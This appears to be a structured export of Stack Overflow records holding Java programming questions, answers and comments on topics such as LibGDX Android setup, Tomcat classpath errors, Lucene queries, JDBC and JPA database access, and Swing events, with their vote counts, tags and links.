has body: I'm developing an Android game in Java, using the LibGDX framework. I really want to use the Idea IDE, so I've followed the official tutorial on setting up the project. At first, there doesn't not seem to be a problem. When I make an output artifacts, the executable .jar file runs flawlessly on my desktop. The problems emerge with the Android .apk file. When I try to run it in emulator, it crashes with the error: "unfortunately "AppName" has stopped working". I don't think the problem is in my code, since I didn't write any. I only have the starter classes and they are just copied from the tutorial above. I'm not sure if it works outside the emulator, since I don't currently have a real android device to test it on. Do you have any idea what might be the cause of this strange behavior?
tagged with: intellij-idea
downvote count: 0
has comment: http://stackoverflow.com/comment/33666643
favorite count: 0
has title: Setting up a LibGDX project in Intellij Idea
tagged with: android
has comment: http://stackoverflow.com/comment/33693044
has comment: http://stackoverflow.com/comment/33693007
linked to: http://stackoverflow.com/q/21524776
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/37399338
upvote count: 1
tagged with: libgdx
score: 1
tagged with: java
type: Question

http://stackoverflow.com/comment/33804198
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22255780
has text: Why not define a class that contains the fields you are interested in storing and keep your list elements to single objects rather than use lists of lists to do that?

http://stackoverflow.com/comment/33787350
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22246996
type: Comment
has text: Looks like perhaps you misplaced one of the parentheses?

http://stackoverflow.com/comment/33764672
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22234355
has text: That's the result you are seeing in `com.company.reference.B@bb86ac80`. That's what seems to be confusing you. That result is not necessarily unique, nor is it representative of the value of a reference.
score: 1

http://stackoverflow.com/q/22321241
has comment: http://stackoverflow.com/comment/33945708
upvote count: 5
has answer: http://stackoverflow.com/a/22448260
accepted answer: http://stackoverflow.com/a/22448260
score: 5
tagged with: classnotfoundexception
has body: I am creating a web app and at the moment I'm trying to get a tomcat server to run. However I get this error message when ran from the cmd line. Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/tomcat/uti l/http/mapper/Mapper at org.apache.catalina.core.StandardContext.<init>(StandardContext.java:457) at org.apache.catalina.startup.Tomcat.addWebapp(Tomcat.java:532) at org.apache.catalina.startup.Tomcat.addWebapp(Tomcat.java:526) at org.apache.catalina.startup.Tomcat.addWebapp(Tomcat.java:207) at hello.Server.createTomcatServer(Server.java:34) at hello.Application.main(Application.java:57) Caused by: java.lang.ClassNotFoundException: org.apache.tomcat.util.http.mapper. Mapper at java.net.URLClassLoader$1.run(URLClassLoader.java:366) at java.net.URLClassLoader$1.run(URLClassLoader.java:355) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:354) at java.lang.ClassLoader.loadClass(ClassLoader.java:425) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308) at java.lang.ClassLoader.loadClass(ClassLoader.java:358) ... 6 more This is my pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org /2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 org.springframework gs-relational-data-access 0.1.0 org.springframework.boot spring-boot-starter-parent 1.0.0.RC4 org.springframework.boot spring-boot-starter org.springframework spring-jdbc com.h2database h2 org.apache.tomcat tomcat-catalina 7.0.52 org.apache.httpcomponents httpclient hello.Application maven-compiler-plugin 2.3.2 org.springframework.boot spring-boot-maven-plugin org.apache.tomcat.maven tomcat7-maven-plugin 2.2 org.apache.maven.plugins maven-jar-plugin 2.4 org.apache.maven.plugins maven-shade-plugin 2.2 package shade spring-snapshots Spring Snapshots http://repo.spring.io…
answer count: 1
downvote count: 0
tagged with: tomcat
favorite count: 0
has title: Tomcat Mapper class not found
tagged with: java
tagged with: maven
type: Question
type: AnsweredQuestion

http://stackoverflow.com/q/22312332
type: Question
has answer: http://stackoverflow.com/a/40830377
has answer: http://stackoverflow.com/a/22592418
tagged with: ant
has answer: http://stackoverflow.com/a/33280813
tagged with: java
has answer: http://stackoverflow.com/a/22952259
has comment: http://stackoverflow.com/comment/33948397
score: 9
has answer: http://stackoverflow.com/a/22333698
has answer: http://stackoverflow.com/a/22468251
answer count: 7
has answer: http://stackoverflow.com/a/25337442
favorite count: 0
has comment: http://stackoverflow.com/comment/35042402
upvote count: 9
has comment: http://stackoverflow.com/comment/33904860
has comment: http://stackoverflow.com/comment/40598033
type: UnansweredQuestion
tagged with: android
has body: I am trying to get phone gap to work on android and my command outputs the following: phonegap build android [phonegap] detecting Android SDK environment... [phonegap] using the local environment [phonegap] adding the Android platform... [error] cmd: Command failed with exit code ENOENT When searching this error message I get a lot of hits, but everyone else seems to have much more verbose error messages, when this is all I get. Even with the -d or -v option that is what I get. I am using Windows 7 x64 My PATH variable looks like this: %JAVA_HOME%\bin;C:\Users\Mike\AppData\Roaming\npm;%ANDROID_HOME%\platform-tools;%ANDROID_HOME%\tools;%ANT_HOME%\bin;C:\Program Files\nodejs; %JAVA_HOME% , %ANDROID_HOME% and %ANT_HOME% all lead to the correct places when I type them into my search bar. Just typing "java" and "ant" into my command line gives me results. Any ideas where I should start looking? Are there error logs somewhere?
has title: Phone Gap [error] cmd: Command failed with exit code ENOENT
tagged with: cordova
downvote count: 0
has comment: http://stackoverflow.com/comment/33904644

http://stackoverflow.com/comment/90254713
comment on: http://stackoverflow.com/a/30121152
has text: (2018) - looks like spaceWidth is renamed to spaceXadvance
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/22297701
upvote count: 4
downvote count: 0
has body: Not sure what you are trying to accomplish but a filter like: (userPrincipalName=jim@YOURDOMAIN.NET) Will locate a user from the value of the userPrincipalName attribute. -jim
score: 4
answers question: http://stackoverflow.com/q/22285357
type: Answer

http://stackoverflow.com/q/22315193
upvote count: 1
linked to: http://stackoverflow.com/q/20180650
has comment: http://stackoverflow.com/comment/33909711
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22347374
type: Question
answer count: 2
tagged with: jar
downvote count: 0
tagged with: applet
favorite count: 0
has comment: http://stackoverflow.com/comment/33923113
has comment: http://stackoverflow.com/comment/33910077
has comment: http://stackoverflow.com/comment/33910031
has body: Bear with me as I am not well versed in how Applets work in java. I have created a video game that runs in an applet, with other game object classes and image files in the package directory. I want to create an executable .jar to run the applet, but eclipse is asking for a launch configuration, so I assume I would need another class that deals with initializing the applet and anything else the applet might need. How would I go about doing this?
has answer: http://stackoverflow.com/a/22345969
type: UnansweredQuestion
has title: How to call an applet from another class's main method?

http://stackoverflow.com/a/22182148
has body: That's the beauty of using libraries: whatever strings are defined in the application override the ones in the library. If I understand your question correctly, you shouldn't have to do anything: just make sure keep the string names the same. See this quote from the documentation on libraries: Since the tools merge the resources of a library project with those of a dependent application project, a given resource ID might be defined in both projects. In this case, the tools select the resource from the application, or the library with highest priority, and discard the other resource. As you develop your applications, be aware that common resource IDs are likely to be defined in more than one project and will be merged, with the resource from the application or highest-priority library taking precedence.
type: Answer
downvote count: 0
score: 6
has comment: http://stackoverflow.com/comment/33674377
answers question: http://stackoverflow.com/q/22181755
accepted answer of: http://stackoverflow.com/q/22181755
type: AcceptedAnswer
upvote count: 6

http://stackoverflow.com/q/22263074
favorite count: 0
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/22263214
upvote count: 1
tagged with: swing
tagged with: jbutton
type: Question
tagged with: java
has title: Pressing a JButton by hand yields different results to doClick()?
has body: I have a problem when a JButton on my interface, when pressed the button triggers this event listener: if (event.getSource() == goButton) { MainLauncher.doProgram(assetsField.getText(), FileFinder.completePath(String.format("%s\\%s", modDirectoryPath, modList.getSelectedValue())), databaseField.getText()); } which runs the following code: public static void doProgram(final String baseGamePath, final String modPath, final String databasePath) { new Thread() { public void run() { System.out.println("Running: " + modPath + "\n"); reader = new MetaDataReader(databasePath); reader.formConnection(); long start = System.currentTimeMillis(); long temp; File cache = new File("RegisterCache.SC"); if (!cache.exists()) { temp = System.currentTimeMillis(); start += System.currentTimeMillis() - temp; System.out.println("Calculating number of files"); FileFinder baseGame = new FileFinder(); baseGame.calculateNumFiles(baseGamePath); System.out.println(String.format("Loading %s base game files", baseGame.getNumFiles())); gui.doProgressBar(); baseGame.findFiles(baseGamePath, true); gui.killProgressBar(); System.out.println(); //load the base game assets, we want to move this to metadata later System.out.println("Checking for base game reference errors"); new ReferenceDetector(Table.getRegister()).findReferences(true); Table.serializeTable(cache); //write the database to cache, we can use it next time } else { System.out.println("Loading cache"); Table.unserializeTable(cache); } gui.doCommands(); //calls reset()!!! be careful with the temporary excludes! System.out.println("Eliminating base game requires errors"); RequiresWhere.executeRequires(true); temp = System.currentTimeMillis(); start += System.currentTimeMillis() - temp; System.out.println("Calculating number of files"); FileFinder mod = new FileFinder(); mod.calculateNumFiles(modPath); System.out.println(String.format("Loading %s mod files", mod.getNumFiles())); gui.doProgressBar(); mod.findFiles(modPath, false); gui.killProgr…
tagged with: event-listener
has comment: http://stackoverflow.com/comment/33816405
accepted answer: http://stackoverflow.com/a/22263214
answer count: 1
has comment: http://stackoverflow.com/comment/33816712
downvote count: 0

http://stackoverflow.com/q/22198260
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33702352
answer count: 0
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33704211
has title: Lucene 4.x - How to get results for query
tagged with: lucene
score: 0
has body: I have problem with getting result docs from my boolean query. Here is my indexing that should be working. this.analyzer = new StandardAnalyzer(Version.LUCENE_40); this.index = new RAMDirectory(); IndexWriterConfig config = new IndexWriterConfig(Version.LUCENE_40, this.analyzer); IndexWriter w = new IndexWriter(this.index, config); for(myDocClass d : docs){ Document doc = new Document(); doc.add(new StringField("title", d.getTitle(), Field.Store.YES)); doc.add(new TextField("description", d.getDescription(), Field.Store.YES)); doc.add(new StringField("pubDate", DateTools.dateToString(d.getPubDate(), DateTools.Resolution.MINUTE), Field.Store.YES)); w.addDocument(doc); w.close() And here is my test search. IndexReader reader = IndexReader.open(this.index); IndexSearcher searcher = new IndexSearcher(reader); BooleanQuery bq = new BooleanQuery(); bq.add( new TermQuery(new Term("title", "beaver")) , BooleanClause.Occur.MUST) ; TopDocs topDocs = searcher.search(bq,10); System.out.println(searcher.doc(50).getField("title").stringValue()); System.out.println(bq.toString()); System.out.println(topDocs.totalHits); result print is: Is Canada a beaver or a bear? title:beaver 0 So it claims there is no doc with title including "beaver" but there is.
has comment: http://stackoverflow.com/comment/33698200
has comment: http://stackoverflow.com/comment/33710564

http://stackoverflow.com/a/22181469
has body: Inheritance will solve your problem instead of Composition in this case as shown below: public class MyAssembler&lt;T,S,V&gt; extends MySlicer&lt;T,V&gt; implements Assembler&lt;T,S&gt; { public MyAssembler() { } @Override public S assemble(T val) { V[] v = this.slice(val); ... } }
score: 0
answers question: http://stackoverflow.com/q/22181317
type: Answer

http://stackoverflow.com/comment/33788306
score: 0
has text: @BoristheSpider I tried plugging in c3p0 as a DataSource on a static field within the schedule's Thread sub-class. I immediately hit on InterruptedException as it fired things up, so I had to pull it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22247726

http://stackoverflow.com/a/22240133
type: Answer
has comment: http://stackoverflow.com/comment/33774563
accepted answer of: http://stackoverflow.com/q/22239836
has comment: http://stackoverflow.com/comment/33775536
answers question: http://stackoverflow.com/q/22239836
has comment: http://stackoverflow.com/comment/33774441
has comment: http://stackoverflow.com/comment/33775068
has comment: http://stackoverflow.com/comment/33775350
has body: From what I understand, errcode and errmsg are common response attributes. So you may want to create an abstract class or interface like JsonResponse which holds these common attributes and have all the response classes () inherit JsonResponse. So in your code you can first check if the response has an error or not by checking these attributes. E.g. public abstract Class JsonResponse { private String errcode; private String errmsg; //getters... //setters... } and, public class MyResponse extends JsonResponse { private String token; private String expired; //getters... //setters... } EDIT: Changed to 'abstract class' as corrected by Allan.
score: 0
has comment: http://stackoverflow.com/comment/33775409
type: AcceptedAnswer

orm
tags question: http://stackoverflow.com/q/22172793
tags question: http://stackoverflow.com/q/22219995
tag name: orm
tags question: http://stackoverflow.com/q/22176898
tags question: http://stackoverflow.com/q/22246105
type: Tag
tags question: http://stackoverflow.com/q/22255190
tags question: http://stackoverflow.com/q/22260301
tags question: http://stackoverflow.com/q/22262916
tags question: http://stackoverflow.com/q/22285765
tags question: http://stackoverflow.com/q/22322384
tags question: http://stackoverflow.com/q/22298317

http://stackoverflow.com/q/22178415
tagged with: amazon-emr
has comment: http://stackoverflow.com/comment/33665032
has body: I have one job flow, and it's "KeepAlive" value is set to true. When I run it, it naturally starts an EMR cluster. My goal is to terminate this cluster entirely. I assume this is done using a TerminateJobFlowRequest, which requires some JobFlowIDs to work. This is problematic for two reasons: 1) These docs say the "describeJobFlows" method is deprecated and suggests no alternative. 2) Describing all job flows gives me all the recent job flows on my account. I'd prefer to receive only the info for the job flows attached to the current AmazonEMRClient. Does anyone have any ideas on how to find my specific JobFlow and terminate it? Please and thank you.
tagged with: java
has comment: http://stackoverflow.com/comment/33714501
has comment: http://stackoverflow.com/comment/33666528
upvote count: 1
answer count: 1
has title: How do I terminate a specific JobFlow in Amazon EMR?
accepted answer: http://stackoverflow.com/a/22180511
has comment: http://stackoverflow.com/comment/33665269
tagged with: amazon-web-services
has comment: http://stackoverflow.com/comment/33713850
has answer: http://stackoverflow.com/a/22180511
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33665880
type: Question

http://stackoverflow.com/q/22217428
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/24253407
possible better answer: http://stackoverflow.com/a/22218697
tagged with: java
has title: Mac JVM rendering JTabbedPane differences between 1.6 and above
type: Question
linked to: http://stackoverflow.com/q/11946604
linked to: http://stackoverflow.com/q/1796578
tagged with: border
answer count: 2
downvote count: 0
tagged with: macos
favorite count: 0
has body: This is how JTabbedPane renders in Java 1.6: When using Java 1.7 (or 1.8 EA), see the bottom of the tabs getting clipped: I tried, without any success (or effect) the system properties -Dcom.apple.macos.smallTabs=true and -Dcom.apple.smallTabs=true. Any solution or hack for this is appreciated.
tagged with: jtabbedpane
upvote count: 2
has answer: http://stackoverflow.com/a/24253407
has answer: http://stackoverflow.com/a/22218697
tagged with: swing

http://stackoverflow.com/a/22253756
score: 4
has body: In your else-branch - which is executed only if moviearray[a] == null - you need to do moviearray[a] = new YourObject(); first, i.e. create an instance of your class and store it in the array.
type: Answer
upvote count: 4
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22253703
answers question: http://stackoverflow.com/q/22253703
has comment: http://stackoverflow.com/comment/33799204
type: AcceptedAnswer

http://stackoverflow.com/a/22275708
has comment: http://stackoverflow.com/comment/33841692
downvote count: 0
type: Answer
score: 2
upvote count: 2
has body: You are modifying the same instance bPunkt and sticking it in the list. So in the end you have a list with the same object over and over in it.
answers question: http://stackoverflow.com/q/22275680
has comment: http://stackoverflow.com/comment/33840177
has comment: http://stackoverflow.com/comment/33841666

http://stackoverflow.com/q/22181897
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22182461
tagged with: radio-button
has comment: http://stackoverflow.com/comment/33669363
answer count: 1
linked to: http://stackoverflow.com/q/17776860
score: 0
tagged with: android
has comment: http://stackoverflow.com/comment/33669257
has comment: http://stackoverflow.com/comment/33669461
has body: I would like to use the RadioButton's property - android:button="@drawable/abc" - programmatically. How do I write this in Java?
has answer: http://stackoverflow.com/a/22182461
has title: Writing android:button programmatically
type: AnsweredQuestion

http://stackoverflow.com/q/22280923
has title: Android game not running. Unknown logcat
has comment: http://stackoverflow.com/comment/33847712
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/33848488
has body: This is my code: package com.example.juggler; import org.andengine.engine.camera.Camera; import org.andengine.engine.options.EngineOptions; import org.andengine.engine.options.ScreenOrientation; import org.andengine.engine.options.resolutionpolicy.RatioResolutionPolicy; import org.andengine.entity.scene.Scene; import org.andengine.entity.scene.background.Background; import org.andengine.entity.sprite.Sprite; import org.andengine.opengl.texture.atlas.bitmap.BitmapTextureAtlas; import org.andengine.opengl.texture.atlas.bitmap.BitmapTextureAtlasTextureRegionFactory; import org.andengine.opengl.texture.region.ITextureRegion; import org.andengine.ui.activity.BaseGameActivity; public class GameActivity extends BaseGameActivity { Scene scene; protected static final int CAMERA_WIDTH = 480; protected static final int CAMERA_HEIGHT = 800; BitmapTextureAtlas ballTexture; ITextureRegion ballTextureRegion; @Override public EngineOptions onCreateEngineOptions() { // TODO Auto-generated method stub Camera mCamera = new Camera(0, 0, CAMERA_WIDTH, CAMERA_HEIGHT); EngineOptions options = new EngineOptions(true, ScreenOrientation.PORTRAIT_FIXED, new RatioResolutionPolicy( CAMERA_WIDTH, CAMERA_HEIGHT), mCamera); return options; } @Override public void onCreateResources( OnCreateResourcesCallback pOnCreateResourcesCallback) throws Exception { // TODO Auto-generated method stub loadGfx(); pOnCreateResourcesCallback.onCreateResourcesFinished(); } private void loadGfx() { // TODO Auto-generated method stub BitmapTextureAtlasTextureRegionFactory.setAssetBasePath("gfx/"); // width and height power of 2^x ballTexture = new BitmapTextureAtlas(getTextureManager(), 32, 32); ballTextureRegion = BitmapTextureAtlasTextureRegionFactory .createFromAsset(ballTexture, this, "ball.png", 0, 0); ballTexture.load(); } @Override public void onCreateScene(OnCreateSceneCallback pOnCreateSceneCallback) throws Exception { // TODO Auto-generated method stub this.scene = new Scene(); this.scene.setBackground(new …
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33847819
downvote count: 1
tagged with: andengine
type: Question
has comment: http://stackoverflow.com/comment/33850640
has comment: http://stackoverflow.com/comment/33848082
score: 0
tagged with: android

http://stackoverflow.com/a/22169961
accepted answer of: http://stackoverflow.com/q/22169601
upvote count: 1
type: Answer
has body: As per my understanding you want to change the classpath which you have set by command set classpath=d:java can be done in two ways either you can set classpth directly as environment varible by --> Right click on my computer select advanced options --> there you will see option as environment variables open that option --> now you will see multiple variables being set...search for classpath variable if it exist their edit this variable value by just putting semicolon and write ur full classpath ended by semicolon and save it. FOR EG:- variable name:- CLASSAPTH variable value- .;C:\Oracle\product\10.1.0\Client_2\jdbc\lib\ojdbc14.jar; Second option is just set your class in command promt as u have set earlier by opening command prompt set classpath=C:\Oracle\product\10.1.0\Client_2\jdbc\lib\ojdbc14.jar; both the method are easy but i would prefer you should go with first one as by doing that you didn't need to set your classpath again and again after you reboot your system or application.
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22169601
type: AcceptedAnswer

http://stackoverflow.com/q/22222100
has body: I have a list with values 1alfreda 1alfredb 1alfredc 2benb 2benc 2benb I want the list to be sorted out as first letter ascending and last letter descending so the sorted list is 1alfredc 1alfredb 1alfreda 2benc 2benb 2bena How can i do it in java ? Plz help.
tagged with: list
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22222262
has title: How to sort an list first letter ascending and last letter decending in java?
has answer: http://stackoverflow.com/a/22222358
tagged with: sorting
has comment: http://stackoverflow.com/comment/33740734
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/22222262
has answer: http://stackoverflow.com/a/22222402
accepted answer: http://stackoverflow.com/a/22222402
has comment: http://stackoverflow.com/comment/33741222
type: AnsweredQuestion

http://stackoverflow.com/comment/33910701
type: Comment
type: QuestionComment
has text: Do you know which component should have focus? If you don't I don't think there's an easy way. Unless of course you get your hands dirty with some decompiling....
comment on: http://stackoverflow.com/q/22305957
score: 0

http://stackoverflow.com/comment/33667284
comment on: http://stackoverflow.com/a/22179246
score: 0
type: Comment
has text: Sorry for multiple comments, every time I hit enter for a comment newline it adds the comment. I've lurked here for years, but obviously new to posting here... it's been a great resource for me many times.
type: AnswerComment

http://stackoverflow.com/comment/33844276
comment on: http://stackoverflow.com/q/22278902
score: 2
has text: Show us the stack trace.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/22201158
has answer: http://stackoverflow.com/a/22201269
has title: error while reading from mysql table
type: AnsweredQuestion
tagged with: mysql
accepted answer: http://stackoverflow.com/a/22201269
type: Question
tagged with: java
score: 0
tagged with: sql
answer count: 1
has body: I have created a table flight_data(with 9 columns) in the DB FLIGHT_INFO. This table has all columns as VARCHAR(3or4or5) .Although I am able to add rows in the table(through another java class) but I want to write a java class which is able to read each rows of that table. (Note : the main class DBaseReader.readDB();) Here's my effort import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class DBaseReader { static final String JDBC_DRIVER = "com.mysql.jdbc.Driver"; static final String DB_URL = "jdbc:mysql://localhost/FLIGHT_INFO"; static final String USER = "root"; static final String PASS = "123456"; private static Connection conn = null; private static Statement stmt = null; public static void readDB() { String sql = "SELCET * FROM flight_data;"; //removing semi-colon doesn't solve problem ResultSet rs = null; String flightNo = null; String dep = null; String arr = null; String date = null; String flightTime = null; String flightDuration = null; String fare = null; String seat_aval = null; String flight_class = null; try { // STEP 2: Register JDBC driver Class.forName("com.mysql.jdbc.Driver"); // STEP 3: Open a connection System.out.println("Connecting to database..."); conn = DriverManager.getConnection(DB_URL, USER, PASS); // STEP 4: Execute a query System.out.println("Creating statement..."); stmt = conn.createStatement(); rs = stmt.executeQuery(sql);//line 47 where error occurs // STEP 5: Extract data from result set while (rs.next()) { flightNo = rs.getString("flight_no"); dep = rs.getString("dep"); arr = rs.getString("arr"); date = rs.getString("valid_till"); flightTime = rs.getString("flight_time"); flightDuration = rs.getString("flight_dur"); fare = rs.getString("fare"); seat_aval = rs.getString("seat_aval"); flight_class = rs.getString("flight_class"); } // Display values System.out.print("FLIGHT_NO: " + flightNo); System.out.print("DEP: " + dep); System.out.pr…

http://stackoverflow.com/comment/33724550
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22211765
has text: @Jason C: I guess that's the definition of "unclear what you're asking" or "lacking information to diagnose the problem"

http://stackoverflow.com/comment/33684899
comment on: http://stackoverflow.com/q/22190591
has text: @lucifer What are the values you are using, and what is your system configuration? Remember, you can't have more than 4GB on a 32 bit system.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/22262248
has body: As a potential solution. You could use a class like Screen Image to create an image of the button. Then just display the image an an Icon on a JLabel an you will have a real component to work with that you can drag around.
type: Answer
answers question: http://stackoverflow.com/q/22261579
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/33815359
downvote count: 0

http://stackoverflow.com/q/22240699
type: Question
tagged with: network-programming
has comment: http://stackoverflow.com/comment/33775543
has comment: http://stackoverflow.com/comment/33776115
tagged with: applet
has body: I have been trying to figure out how i would go about letting multiple clients view the same Applet on Java. I have the code for the the server and the clients and i have a program that I would like them to view. However whenever i test the code I end up with the clients seeing the same program but different instances of it. I want them both to be able to see the same program and see when the other clients make action on the Applet and what not. It would just be for a local connection and I don't have any HTML files at this time.
score: 0
tagged with: client
has title: Viewing the same Applet on multiple clients
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33819130
tagged with: java

http://stackoverflow.com/q/22218143
has title: 'gomobile.user u' cannot be the first declaration of the FROM clause
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33750287
has body: I'm trying to query all the data of my user table in the schema gomobile of my DerbyDB. I've successfully established a connection to my database and created a JPA Entity, with all its columns corresponding to the database table. @Entity @Table(name = "user", schema = "gomobile") public class User implements Serializable { private static final long serialVersionUID = 1L; // all columns public static List<User> getAll() { String queryString = "SELECT u FROM gomobile.user u"; EntityManager em = Persistence.createEntityManagerFactory("Eclipselink").createEntityManager(); return em.createQuery(queryString, User.class).getResultList(); } } This is the stracktrace: Exception in thread "main" java.lang.IllegalArgumentException: An exception occurred while creating a query in EntityManager: Exception Description: Problem compiling [SELECT u FROM gomobile.user as u]. [14, 41] 'gomobile.user as u' cannot be the first declaration of the FROM clause. at org.eclipse.persistence.internal.jpa.EntityManagerImpl.createQuery(EntityManagerImpl.java:1605) at org.eclipse.persistence.internal.jpa.EntityManagerImpl.createQuery(EntityManagerImpl.java:1625) at com.sap.sapchat.jpa.entities.User.getAll(User.java:45) at com.sap.sapchat.jpa.entities.InitDatabase.main(InitDatabase.java:50) Caused by: Exception [EclipseLink-0] (Eclipse Persistence Services - 2.5.1.v20130918-f2b9fc5): org.eclipse.persistence.exceptions.JPQLException Exception Description: Problem compiling [SELECT u FROM gomobile.user as u]. [14, 41] 'gomobile.user as u' cannot be the first declaration of the FROM clause. at org.eclipse.persistence.internal.jpa.jpql.HermesParser.buildException(HermesParser.java:155) at org.eclipse.persistence.internal.jpa.jpql.HermesParser.validate(HermesParser.java:347) at org.eclipse.persistence.internal.jpa.jpql.HermesParser.populateQueryImp(HermesParser.java:278) at org.eclipse.persistence.internal.jpa.jpql.HermesParser.buildQuery(HermesParser.java:163) at org.eclipse.persistence.internal.jpa.…
tagged with: jpa
score: 0
tagged with: eclipselink
possible better answer: http://stackoverflow.com/a/37192066
accepted answer: http://stackoverflow.com/a/22229200
has comment: http://stackoverflow.com/comment/33750721
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22229200
tagged with: java
tagged with: derby
has answer: http://stackoverflow.com/a/37192066

http://stackoverflow.com/q/22285223
has answer: http://stackoverflow.com/a/22285824
has comment: http://stackoverflow.com/comment/33856190
accepted answer: http://stackoverflow.com/a/22285824
tagged with: android
has comment: http://stackoverflow.com/comment/33856080
type: AnsweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/15732853
score: 1
tagged with: java
has body: I am developing a web app in JSP. For same project I'm developing an Android app. The web app uses Apache Tomcat and MySQL. Now I want to log in from the Android application by retrieving data from MySQL database. But how? I did find many tutorials but all are using PHP scripts. I'm using Eclipse for both apps.
tagged with: mysql
possible better answer: http://stackoverflow.com/a/22285538
has title: Android application database connectivity with web app using Jsp
type: Question
has comment: http://stackoverflow.com/comment/33855804
answer count: 2
upvote count: 1
tagged with: jsp
has answer: http://stackoverflow.com/a/22285538
favorite count: 0

spring-jms
tags question: http://stackoverflow.com/q/22215369
type: Tag
tags question: http://stackoverflow.com/q/22313261
tag name: spring-jms
tags question: http://stackoverflow.com/q/22223914

http://stackoverflow.com/comment/33766836
has text: I am trying to make it so that when I type in 3-665-45 (Or any other number) that the 3 numbers get separated a can be put into strings. The while-loop here is checking if the length of string is larger than count. Count is just there to stop it when it reaches the max number of length.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22236054
type: QuestionComment

http://stackoverflow.com/comment/33863039
type: Comment
type: QuestionComment
has text: **What does the error _say_?**
comment on: http://stackoverflow.com/q/22289209
score: 0

http://stackoverflow.com/q/22317506
has comment: http://stackoverflow.com/comment/33913539
tagged with: java
has answer: http://stackoverflow.com/a/22317589
type: Question
duplicate of: http://stackoverflow.com/q/22008180
duplicate of: http://stackoverflow.com/q/1461598
has answer: http://stackoverflow.com/a/22317566
score: 0
linked to: http://stackoverflow.com/q/8995867
answer count: 4
favorite count: 0
linked to: http://stackoverflow.com/q/22008180
linked to: http://stackoverflow.com/q/1461598
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33913615
upvote count: 1
has answer: http://stackoverflow.com/a/22317619
has answer: http://stackoverflow.com/a/22317673
downvote count: 1
has body: public class Addition { private int number1,number2; public void setNumber1() { } public int getNumber1() { } public void setNumber2() { } public int getNumber2() { } } what is point of keeping variables private if i can access them using public getter and setter method.
has title: Using private variables

http://stackoverflow.com/comment/33850807
comment on: http://stackoverflow.com/q/22229320
score: 0
has text: unfortunately not, I only had the java above, but it is working ;)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33710629
has text: Yes, the url is mapped with the action.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22192286
score: 0

http://stackoverflow.com/a/22288258
answers question: http://stackoverflow.com/q/22288096
score: 0
has comment: http://stackoverflow.com/comment/33861532
has body: I would first go through using )-&gt; as the delimiter. On each scanner.next() get rid of the first character (the parenthesis) using substring, and then place a second scanner on that string that uses , as the delimiter. In code this would look something like: Scanner s1 = new Scanner(string).useDelimiter("\\s*)-&gt;\\s*"); while(s1.hasNext()) { Scanner s2 = new Scanner(s1.next).useDelimiter("\\s*,\\s*"); System.out.println(s2.next.substring(1)); }
type: Answer
has comment: http://stackoverflow.com/comment/33861554

http://stackoverflow.com/comment/33771976
type: AnswerComment
comment on: http://stackoverflow.com/a/22237903
score: 0
has text: Does this prevents you from choosing the version of foo in mylibrary's implementation. I don't think this solution works quite as I hopped. mylibrary will end up using version 1.2 instead of 1.1 if theirlibrary changes it. Correct? Thanks for the help btw
type: Comment

http://stackoverflow.com/comment/33776775
type: QuestionComment
score: 6
has text: What's the value of this.limit?
comment on: http://stackoverflow.com/q/22241574
type: Comment

http://stackoverflow.com/comment/33760345
comment on: http://stackoverflow.com/q/22232926
has text: Just use a `List<Whatever>` or a `Whatever[]`.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22254898
has comment: http://stackoverflow.com/comment/33813149
answer count: 0
type: UnansweredQuestion
has title: ClassLoader.getSystemResourceAsStream only works sometimes
